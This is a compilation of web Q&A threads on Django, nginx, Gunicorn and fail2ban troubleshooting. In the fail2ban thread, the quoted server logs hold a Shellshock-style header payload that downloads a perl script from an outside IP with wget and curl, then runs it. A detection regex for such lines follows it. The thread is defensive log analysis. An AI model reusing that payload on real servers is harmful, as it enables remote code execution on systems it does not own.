I have a URL like below
https://127.0.0.1:8000/method/?param1=param1#param2=param2¶m3=param3
How can I get the value of param2 and param3 from the above.
I can read the param1 value using request.GET.get('param1')
When I read the param2 it is coming as None.
This can't be done, not easily at least, as it goes against at least one major standard in which # is used for anchoring, and anything after it is not even being sent to the server.
When an agent (such as a web browser) requests a web resource from a web server, the agent sends the URI to the server, but does not send the fragment
from https://en.wikipedia.org/wiki/Fragment_identifier
Example:
λ python -m http.server &
λ curl "localhost:8000/?param1=param1#param2=param2¶m3=param3"
127.0.0.1 - - [27/Jan/2020 15:00:32] "GET /?param1=param1 HTTP/1.1" 200 -
# ^ nothing after # is seen by the server
You have to use & to separate URL parameters.
Related
My Django website is in HTTPS. When I am trying to POST data to the website from a script I get this error : "referer checking failed - no Referer". It seems to be a CSRF issue but I do not know how to solve it.
Example :
import requests
r = requests.post('https://mywebsite/mypage', data = {'key':'value'})
print r.text
gives me this output :
[...]
<p>Reason given for failure:</p>
<pre>
Referer checking failed - no Referer.
</pre>
<p>In general, this can occur when there is a genuine Cross Site Request Forgery, or when
<a
href="https://docs.djangoproject.com/en/1.8/ref/csrf/">Django's
CSRF mechanism</a> has not been used correctly. For POST forms, you need to
ensure:</p>
<ul>
<li>Your browser is accepting cookies.</li>
<li>The view function passes a <code>request</code> to the template's <code>render</code>
method.</li>
<li>In the template, there is a <code>{% csrf_token
%}</code> template tag inside each POST form that
targets an internal URL.</li>
<li>If you are not using <code>CsrfViewMiddleware</code>, then you must use
<code>csrf_protect</code> on any views that use the <code>csrf_token</code>
template tag, as well as those that accept the POST data.</li>
</ul>
[...]
Do I need to pass a referer to my headers before sending the POST data - which would not be convenient ? Or should I disable CSRF for this page ?
Thanks
AFAIK, This is the purpose of CSRF, to avoid posting data from unknown strange sources. You need csrf token to post this which django generates dynamically.
Upgrading Django might fix the missing Referer error.
As of Django 4.0 (release notes), the backend will first check the Origin header before falling back to the Referer header (source):
CsrfViewMiddleware verifies the Origin header, if provided by the browser, against the current host and the CSRF_TRUSTED_ORIGINS setting. This provides protection against cross-subdomain attacks.
In addition, for HTTPS requests, if the Origin header isn’t provided, CsrfViewMiddleware performs strict referer checking. This means that even if a subdomain can set or modify cookies on your domain, it can’t force a user to post to your application since that request won’t come from your own exact domain.
It's possible you have a reverse proxy running, for example an nginx proxy_pass to 127.0.0.1:8000?
In this case, Django expects the Cross-Site Forgery Protection tokens to match hostname 127.0.0.1, but they will be coming from a normal domain (for example example.com).
Expected Source
Actual Source
http://127.0.0.1
https://example.com
HTTP reverse proxy (example.com:80 -> localhost:3000) is a common way to use nginx with NodeJS applications, but it doesn't work well with Django
Client-Facing URL
Server Proxy URL
https://example.com
http://127.0.0.1:3000
It is better to run Django through a Unix socket rather than a port (example.com:80 -> <socket>). You can do this with Gunicorn:
Client-Facing URL
Server Proxy URL
https://example.com
unix:/run/example.com.sock
Here's how to do this with Django, Gunicorn, and nginx:
Let's say you've got a Django project root, which contains a system folder (the one where settings.py and wsgi.py are):
export DJANGO_PROJECT_PATH=/path/to/django/root
export DJANGO_SETTING_FOLDER=system
First, make sure you have Gunicorn installed and that you are using a virtual environment:
cd $DJANGO_PROJECT_PATH
source .venv/bin/activate # <- Use a virtual environment
pip3 install gunicorn # <- install Gunicorn in the venv
Run Gunicorn. This will start the Django project similar to running python3 manage.py runserver, except that you can listen for requests on a Unix socket:
$DJANGO_PROJECT_PATH/.venv/bin/gunicorn \
--workers=3 \
--access-logfile - \
--bind unix:/run/example.com.sock \ # <- Socket
--chdir=$DJANGO_PROJECT_PATH/ \
$DJANGO_SETTING_FOLDER.wsgi:application
Then create an HTTP proxy using nginx that passes HTTP requests from clients through the gunicon-created socket:
/etc/nginx/sites-enabled/example.com:
server {
listen 80;
listen [::]:80;
server_name example.com;
# serve static files directly through nginx
location /static/ {
autoindex off;
root /path/to/django/root;
}
# serve user-uploaded files directly through nginx
location /media/ {
autoindex off;
root /path/to/django/root;
}
# You can do fun stuff like aliasing files from other folders
location /robots.txt {
alias /path/to/django/root/static/robots.txt;
}
# here is the proxy magic
location / {
include proxy_params;
proxy_pass http://unix:/run/example.com.sock; # <- the socket!
}
}
Make sure to restart nginx:
sudo service restart nginx
After all this, your csrf tokens should match the domain name of your site and you'll be able to log in and submit forms.
When I start the Django server, I can see the logs in the terminal:
[31/Jan/2015 14:06:27] "GET / HTTP/1.1" 200 30697
What does the last number signify?
('30697' in this example)
This is the size of the response (in bytes).
Currently have a server with 2 IPs, one internal and one external with varnish on the external and an apache backend on the internal with fail2ban running pretty much as default.
Recently the website went down returning 503 errors and it turned out fail2ban had banned the varnish from talking to the apache backend vi the apache-noscript rule. I have since added an exclusion for the ip address so this will not get banned again, but ideally I would prefer it if the client was banned in future.
From the apache logs
SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
From the varnish logs
CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
Would it be okay to just replicate my apache-noscript defnition to use the varnishlogs, i.e.:
[apache-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/apache*/*error.log
maxretry = 2
to become
[varnish-noscript]
enabled = true
port = http,https
filter = apache-noscript
logpath = /var/log/varnish/varnishncsa.log
maxretry = 2
I have noticed the apache no script filter has has the following failregex
failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
I guess the main question is will this still work for the varnishlog in the output above, if not what failregex would I need?
Many Thanks.
[EDIT] It turns out as a coincidence the noscript did the banning but not for the above log entries. Now to formulate a fail2ban regex for the above log entry.
Okay I've created a new jail with the following rule to catch the above:
failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
Please feel free to suggest improvements to the rule to catch the log line mentioned above.
The fail regex works on both the apache access log and the varnish csa log.
Preface: I'm running nginx + gunicorn + django on an amazon ec2 instance using s3boto as a default storage backend. I am free tier. The ec2 security group allows: http, ssh, & https.
I'm attempting to send a multipart/form-data request containing a single element: a photo. When attempting to upload the photo, the iPhone (where the request is coming from) hangs. The photo is around 9.5 MB in size.
When I check the nginx-access.logs:
"POST /myUrl/ HTTP/1.1" 400 5 "-""....
When I check the nginx-error.logs:
[error] 5562#0: *1 readv() failed (104: Connection reset by peer) while reading upstream, client: my.ip.addr.iphone, server: default, request: "POST /myUrl/ HTTP/1.1", upstream: "http://127.0.0.1:8000/myUrl/", host: "ec2-my-server-ip-addr.the-location-2.compute.amazonaws.com"
[info] 5562#0: *1 client my.ip.addr.iphone closed keepalive connection
I really cannot figure out why this is happening... I have tried changing the /etc/nginx/sites-available/default timeout settings...
server { ...
client_max_body_size 20M;
client_body_buffer_size 20M;
location / {
keepalive_timeout 300;
proxy_read_timeout 300;
}
}
Any thoughts?
EDIT: After talking on IRC a little more, his problem is the 403 itself, not the nginx error. Leaving my comments on the nginx error below, in case anyone else stumbles into it someday.
I ran into this very problem last week and spent quite a while trying to figure out what was going on. See here: https://github.com/benoitc/gunicorn/issues/872
Basically, as soon as django sees the headers, it knows that the request isn't authenticated. It doesn't wait for the large request body to finish uploading; it responds immediately, and gunicorn closes the connection right after. nginx keeps sending data, and the end result is that gunicorn sends a RST packet to nginx. Once this happens, nginx cannot recover and instead of sending the actual response from gunicorn/django, it sends a 502 Bad Gateway.
I ended up putting in a piece of middleware that acecsses a couple fields in the django request, which ensures that the entire request body is downloaded before Django sends a response:
checker = re.compile(feed_url_regexp)
class AccessPostBodyMiddleware:
def process_request(self, request):
if checker.match(request.path.lstrip('/')) is not None:
# just need to access the request info here
# not sure which one of these actually does the trick.
# This will download the entire request,
# fixing this random issue between gunicorn and nginx
_ = request.POST
_ = request.REQUEST
_ = request.body
return None
However, I do not have control of the client. Since you do (in the form of your iphone app), maybe you can find a way to handle the 502 Bad Gateway. That will keep your app from having to send the entire request twice.
Recently, I've started to experience an issue on my Django-based site where logins will fail with no errors reported to the user after a few days of site uptime. Already logged in sessions continue to work fine, but no new logins can happen.
The relevant info:
I'm using the normal django.contrib.auth authentication stuff
I am using PostgreSQL for the DB via the django.db.backends.postgresql_psycopg2 backend
I am running on OSX 10.6.7 with Python 2.6.1 and Django 1.3
Django is running in FastCGI mode behind nginx
My gut feeling is that there is something breaking down in the connection / socket to the DB at some point, because if I kill Django and restart it, everything works just fine again (i.e. the DB itself is definitely not overloaded and can be accessed just fine using the psql commandline tool).
Unfortunately, there is nothing in the logs about the error (well, at least nothing is being emitted via the normal Python logging module which is how I trap all my logs) and there are no errors reported to the web browser. All the client sees is that they get sent back to the login page again, as if they had just refreshed their browser.
Any help much appreciated.
Not sure if it's relevant, but my middleware classes are:
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.transaction.TransactionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
)
UPDATE
After looking into the nginx access logs, I can see that the login actually works briefly then suddenly doesn't work:
"POST /accounts/login/ HTTP/1.1" 302 5 "https://myapp.com/accounts/login/?next=/orders"
"GET /orders HTTP/1.1" 301 185 "-"
"GET /orders HTTP/1.1" 302 5 "-"
"GET /accounts/login/?next=/orders HTTP/1.1" 301 185 "-"
"GET /accounts/login/?next=/orders HTTP/1.1" 200 1297 "-"
As you can see, the login works and the client is redirected to the 'next' URL (/orders), but then the third line redirects (302) the client back out to the login page, presumably because the #login_required decorator (which is applied to the /orders controller) determined that they weren't really logged in.
For comparison, this is a successful login sequence:
"POST /accounts/login/ HTTP/1.1" 302 5 "https://myapp.com/accounts/login/?next=/orders"
"GET /orders HTTP/1.1" 301 185 "-"
"GET /orders HTTP/1.1" 200 59364 "-"
And a login with the wrong password (the POST comes back with a 200 instead of a 302):
"POST /accounts/login/ HTTP/1.1" 200 1426 "https://myapp.com/accounts/login/?next=/orders"
The difference between a normal login and the broken one is that the client gets a 200 OK for /orders instead of 302 back to the login page. I have no idea how the auth middleware can allow the login and then kick the user back out immediately after. Is there a possible race condition here where the login controller hasn't been able to persist the logged-in state into the DB in time for the /orders controller to see it and allow the user to stay logged in?
Also - I have noticed that a Django restart isn't necessarily required to fix the issue - sometimes the server just miraculously starts letting clients log in again.
Sounds like your web server is using persistent connections and running out. What do the pg logs say when you can't log in?